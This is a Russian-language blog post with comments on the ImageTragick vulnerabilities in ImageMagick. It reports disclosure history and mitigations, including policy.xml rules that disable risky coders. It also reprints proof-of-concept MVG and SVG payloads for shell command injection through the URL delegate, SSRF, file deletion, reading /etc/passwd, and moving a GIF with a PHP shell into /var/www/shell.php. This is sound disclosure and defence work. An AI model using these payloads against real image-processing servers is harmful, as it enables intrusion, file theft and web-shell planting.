Множество уязвимостей в ImageMagick, одна из которых ведёт к RCE

    Несколько часов назад Ryan Huber из отдела безопасности Slack анонсировал некую критическую уязвимость в софте, используемом множеством сайтов. Этим софтом оказался ImageMagick — популярный пакет для обработки изображений.


    Краткая информация об уязвимостях размещена на сайте imagetragick.com. Да, без названия и сайта для уязвимости не обошлось и в этот раз, хотя изначально Райан писал, что никакого пафоса, включая название и сайт, не будет. (есть ещё и твиттер)


    image


    Уязвимость была обнаружена stewie и раскрыта на hackerone 21 апреля в репорте, по всей видимости, Mail.ru, ибо примерно через неделю после этого Николай Ермишкин из команды безопасности Мэйла нашёл возможность выполнить RCE. Обо всём этом, само собой, сообщили команде разработки IM. Те 30 апреля выпустили фикс, но уже 1 мая им сообщили, что фикс немножко не фикс. Поэтому 2 мая уязвимость раскрыли в листе рассылки разработчиков пакетов, основанных на IM, а 3 мая уязвимость раскрыли публично. Спустя несколько часов после этого на openwall появилось подробное описание с примерами эксплойтов. Но об этом чуть ниже.


    Прежде всего, стоит заметить, что ваш сайт (вероятно) подвержен этим уязвимостям не только если вы используете IM напрямую, но и через различные пакеты, включая imagick в PHP, rmagick и paperclip в Ruby и imagemagick в nodejs.


    Как защититься?


    Для того, чтобы хоть как-то защититься, предлагается сделать хотя бы одну из двух следующих вещей (а лучше — обе).


    • прежде, чем отправить изображение на обработку в IM, проверить его «магические байты» — последовательность байт, по которой программы определяют формат файла. Да, расширение может не играть никакой роли, так как IM сам определяет формат именно по этой последовательности.
    • включить конфиг, отключающий подверженные уязвимостям декодеры. Файл должен выглядеть так (обновлённая версия от 5 мая)

    <policymap>
      <policy domain="coder" rights="none" pattern="EPHEMERAL" />
      <policy domain="coder" rights="none" pattern="URL" />
      <policy domain="coder" rights="none" pattern="HTTPS" />
      <policy domain="coder" rights="none" pattern="MVG" />
      <policy domain="coder" rights="none" pattern="MSL" />
      <policy domain="coder" rights="none" pattern="TEXT" />
      <policy domain="coder" rights="none" pattern="SHOW" />
      <policy domain="coder" rights="none" pattern="WIN" />
      <policy domain="coder" rights="none" pattern="PLT" />
    </policymap>

    Конфиги для IM обычно лежат в /etc/ImageMagick. alexkbs в комментариях подсказывает, что можно использовать convert -list policy, чтобы узнать, где лежит конфиг и увидеть список действующих ограничений. Для ansible напилили playbook, добавляющий этот конфиг.


    Как уже говорилось выше, патч к IM уже готов, но он неполный. Дело в том, что, как отмечают исследователи, уязвимость была найдена хакерами ранее и уже вовсю эксплуатируется.


    Подробности уязвимостей и эксплуатация


    Из поста Карима Валиева (Мэйл) на openwall. Все PoC обещают разместить на https://github.com/ImageTragick/PoCs (пока что 404). UPD: выложили всё на https://github.com/ImageTragick/PoCs + простой скрипт для проверки локально.


    CVE-2016-3714 Недостаточное экранирование символов, ведущее к возможному RCE


    Тут проблема в том, то у IM есть фича delegate, при помощи которой IM позволяет обрабатывать файлы внешними библиотеками. По сути это вызов system() с командной строкой из файла delegates.xml. Одна из дефолтных команд


    "wget" -q -O "%o" "https:%M"


    где %M ссылка из входного потока. Например, можно прокинуть https://example.com"|ls "-la, что приведёт к выполнению ls -la (должны быть установлены wget или curl).


    $ convert 'https://example.com"|ls "-la' out.png
    total 32
    drwxr-xr-x 6 user group 204 Apr 29 23:08 .
    drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
    ...

    Хуже всего то, что IM поддерживает форматы типа
    svg, mvg, которые позволяют включать внешние файлы через любые поддерживаемые «делегатами» протоколы.


    (exploit.mvg)


    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|ls "-la)'
    pop graphic-context

    (exploit.svg)


    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
    "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="640px" height="480px" version="1.1"
    xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
    "http://www.w3.org/1999/xlink">
    <image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
    x="0" y="0" height="640px" width="480px"/>
    </svg>

    $ convert exploit.mvg out.png
    total 32
    drwxr-xr-x 6 user group 204 Apr 29 23:08 .
    drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
    ...

    Это сразу же напомнило мне про недавнюю уязвимость в ffmpeg, найденную cdump из того же Мэйла, кстати.


    CVE-2016-3718 SSRF. Возможно выполнить HTTP GET и FTP запросы


    (ssrf.mvg)


    push graphic-context
    viewbox 0 0 640 480
    fill 'url(http://example.com/)'
    pop graphic-context

    $ convert ssrf.mvg out.png # выполнится HTTP запрос к example.com

    CVE-2016-3715 Удаление файлов


    При помощи псевдо-протокола ephemeral возможно удалять файлы.


    (delete_file.mvg)


    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
    popgraphic-context

    $ touch /tmp/delete.txt
    $ convert delete_file.mvg out.png # удалит /tmp/delete.txt

    CVE-2016-3716 Перемещение файлов


    Используется другой псевдо-протокол — msl.


    (file_move.mvg)


    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'msl:/tmp/msl.txt'
    popgraphic-context

    (/tmp/msl.txt)


    <?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="/tmp/image.gif" />
    <write filename="/var/www/shell.php" />
    </image>

    /tmp/image.gif — картинка с PHP-шеллом внутри, например, https://www.secgeek.net/POC/POC.gif .


    $ convert file_move.mvg out.png # переместит /tmp/image.gif в /var/www/shell.php

    CVE-2016-3717 Чтение локальных файлов


    Опять псевдо-протокол, на этот раз label. Можно рендерить содержимое файлов в картинки.


    (file_read.mvg)


    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@/etc/passwd'
    pop graphic-context

    $ convert file_read.mvg out.png # создаст файл с текстом из /etc/passwd

    Мета


    • Dominique Bongard шутит, что предупреждал ещё в 2014 году. Вот так выглядит один из слайдов его доклада с BlackHat 2014:

    image


    • HD Moore советует использующим движок MediaWiki переключить генерацию превьюшек с IM на GD


    • Seth Arnold пишет, что GraphicsMagick (форк IM, нацеленный на многопоточность и производительность), вероятно, подвержен тем же уязвимостям. Будем надеяться, команда GM проведёт аудит в ближайшие часы.
      UPD от kukutz: автор GM просит дать ему рабочий эксплойт и советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY


    • На очередную претензию к названию и логотипу к уязвимости авторы ImageTragick ответили статистикой: обычный пост в блоге — сотни хитов в час, сайт с дурацким логотипом — тысячи хитов в минуту. Когда уязвимость уже эксплуатируется этот способ (брендирование), похоже, вполне оправдывает себя.



    Пост будет дополняться с появлением новых подробностей.

    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 25

      +9
      Что характерно, очень многие уязвимости (включая описанную в статье и ffmpeg'шную) растут из большого количества редкоиспользуемых возможностей софта, сделанных разработчиками, такое ощущение, просто что бы было, без чёткого понимания кому это надо и как это будут использовать. Где-то тут поневоле начинаешь ценить Unix-way и KISS :)
        +3
        Мейтейнер GM в ответном письме говорит, чтобы
        (а) ему показали эксплойт для GM
        (б) советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY

        http://www.openwall.com/lists/oss-security/2016/05/04/3
          0
          Спасибо, добавил в пост.
        • UFO just landed and posted this here
            +2
            Во многих дистрибутивах есть security-репозитории, куда попадают только обновления базопасности. Эти обновления должны совершаться автоматически ежедневно (или чаще). Кто их не настраивает, как говорят на лоре — ССЗБ.
            0
            интересно, как защитить imagick в PHP.
            policy.xml он очевидно не интересуется.
              +3
              сам спросил, сам и отвечу: в debian php_imagick читает полиси не из /etc, а из /usr/lib

                0
                Интересуется. Посмотрите через strace, он читает кучу файлов на старте.
                0
                Подскажите плиз а как защитить ffmpeg/avconv от такой же болячки?
                  0
                  От такой же это от какой?
                    0
                    Из аналогичной, которую вы привели в статье: https://habrahabr.ru/company/mailru/blog/274855/
                    В статье по ссылке указаны возможное решения рпоблемы в виде изоляции ffmpeg
                      0
                      По-моему, на данный момент уже должны быть доступны патчи, устраняющие проблему. Кажется, они даже уже были доступны на момент написания того поста.
                  +1
                  В портах для FreeBSD уже выложили сборку с отключенным полиси.
                    0

                    Я проверил GraphicsMagick (у меня под рукой оказалась версия 1.3.20 2014-08-16 Q8, не уверен, что это прям свежак), он подвержен как минимум чтению локальных файлов через label (CVE-2016-3717), правда, рендерится только первая строчка файла. Возможно, это как-то обходится, но суть в том, что пользователям GM всё-таки стоит начать беспокоиться. SSRF через url точно не работает.

                      +2

                      policy.xml не обязательно лежит в /etc/ImageMagick


                      Но команда convert -list policy подскажет какой именно файл используется, и что ваши настройки поняты и используются. Пример:


                      $ convert -list policy
                      
                      Path: /etc/ImageMagick-6/policy.xml
                        Policy: undefined
                          rights: None 
                        Policy: Coder
                          rights: None 
                          pattern: EPHEMERAL
                        Policy: Coder
                          rights: None 
                          pattern: URL
                        Policy: Coder
                          rights: None 
                          pattern: HTTPS
                        Policy: Coder
                          rights: None 
                          pattern: MVG
                        Policy: Coder
                          rights: None 
                          pattern: MSL
                      
                      Path: [built-in]
                        Policy: Undefined
                          rights: None 

                      Отсюда

                        0

                        Добавил в пост, спасибо.

                        0

                        Выложили обещанные PoC — https://github.com/ImageTragick/PoCs + там же простой шелл-скрипт для локальной проверки.

                          0
                          В разных источниках отключают разные декодеры. Компиляция:

                            +1
                            Парсер победил меня. Вот:
                            <!-- CVE-2016-3714 -->
                            <policy domain="coder" rights="none" pattern="EPHEMERAL" />
                            <policy domain="coder" rights="none" pattern="HTTPS" />
                            <policy domain="coder" rights="none" pattern="HTTP" />
                            <policy domain="coder" rights="none" pattern="URL" />
                            <policy domain="coder" rights="none" pattern="FTP" />
                            <policy domain="coder" rights="none" pattern="MVG" />
                            <policy domain="coder" rights="none" pattern="MSL" />
                            <policy domain="coder" rights="none" pattern="TEXT" />
                              0

                              Есть источник? Там же наверняка есть эксплойты к этим дополнительным паттернам, я бы проверил. Мне кажется, на деле они покрываются теми, что указаны на imagetragick.com.

                                +1
                                https://bugzilla.redhat.com/show_bug.cgi?id=1332492#c3
                                https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588

                                За пол дня ещё несколько приехало.
                                  0

                                  Это посты от 3 мая, то есть, либо незадолго до публичного раскрытия, либо сразу после него (не помню точное время). Больше похоже на попытку перебдеть. Текущий policy-конфиг работает для всех известных на данный момент PoC. Не могу говорить с полной уверенностью, но ощущение, что часть строк там ничего не делает. Были бы пруфы, можно было бы что-то обсуждать.

                                    0
                                    Посты редактируют. Чему верить, а чему нет — личное дело каждого. Моё дело поделиться тем, что нашел.
                                      +1

                                      На imagetragick.com обновили рекомендуемый policy.xml, он теперь что-то среднее из тех, которые по вашим ссылкам. Обновил пост.

                            +2
                            Если кому пригодится:

                            1. Ищем, где инклудится конфиг:
                            strace -f convert 2>&1 | grep policy
                            

                            2. В раздел добавляем:
                              <policy domain="coder" rights="none" pattern="EPHEMERAL" />
                              <policy domain="coder" rights="none" pattern="URL" />
                              <policy domain="coder" rights="none" pattern="HTTPS" />
                              <policy domain="coder" rights="none" pattern="MVG" />
                              <policy domain="coder" rights="none" pattern="MSL" />
                              <policy domain="coder" rights="none" pattern="TEXT" />
                              <policy domain="coder" rights="none" pattern="SHOW" />
                              <policy domain="coder" rights="none" pattern="WIN" />
                              <policy domain="coder" rights="none" pattern="PLT" />
                            

                            Only users with full accounts can post comments. Log in, please.